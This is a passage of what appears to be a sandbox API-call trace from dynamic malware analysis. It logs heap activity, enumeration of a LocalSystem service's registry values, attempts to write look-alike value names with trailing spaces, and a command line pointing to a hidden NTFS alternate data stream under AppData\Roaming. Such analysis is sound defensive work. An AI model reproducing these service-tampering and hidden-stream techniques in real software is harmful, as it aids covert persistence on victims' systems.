RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.209] RegQueryValueExA (in: hKey=0x154, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0227.209] RegQueryValueExA (in: hKey=0x154, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1a90, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0227.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0227.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0227.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0227.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0227.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0227.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0227.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0227.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0227.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0227.211] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0xc) returned 0x6 [0227.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0227.211] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x1) returned 0x6 [0227.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0227.211] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0227.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0227.212] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0227.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0227.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0227.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0227.214] RegQueryValueExA (in: hKey=0x154, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0227.214] RegQueryValueExA (in: hKey=0x154, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1c40, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0227.214] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0x6) returned 0x6 [0227.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.215] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0x1) returned 0x6 [0227.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.215] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.216] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.216] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.216] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0227.216] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0227.216] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1df0, cbData=0x1) returned 0x6 [0227.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0227.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0227.216] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0227.216] LocalFree (hMem=0x7f03d0) returned 0x0 [0227.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0227.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0227.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin", cchWideChar=46, lpMultiByteStr=0x21f16e8, 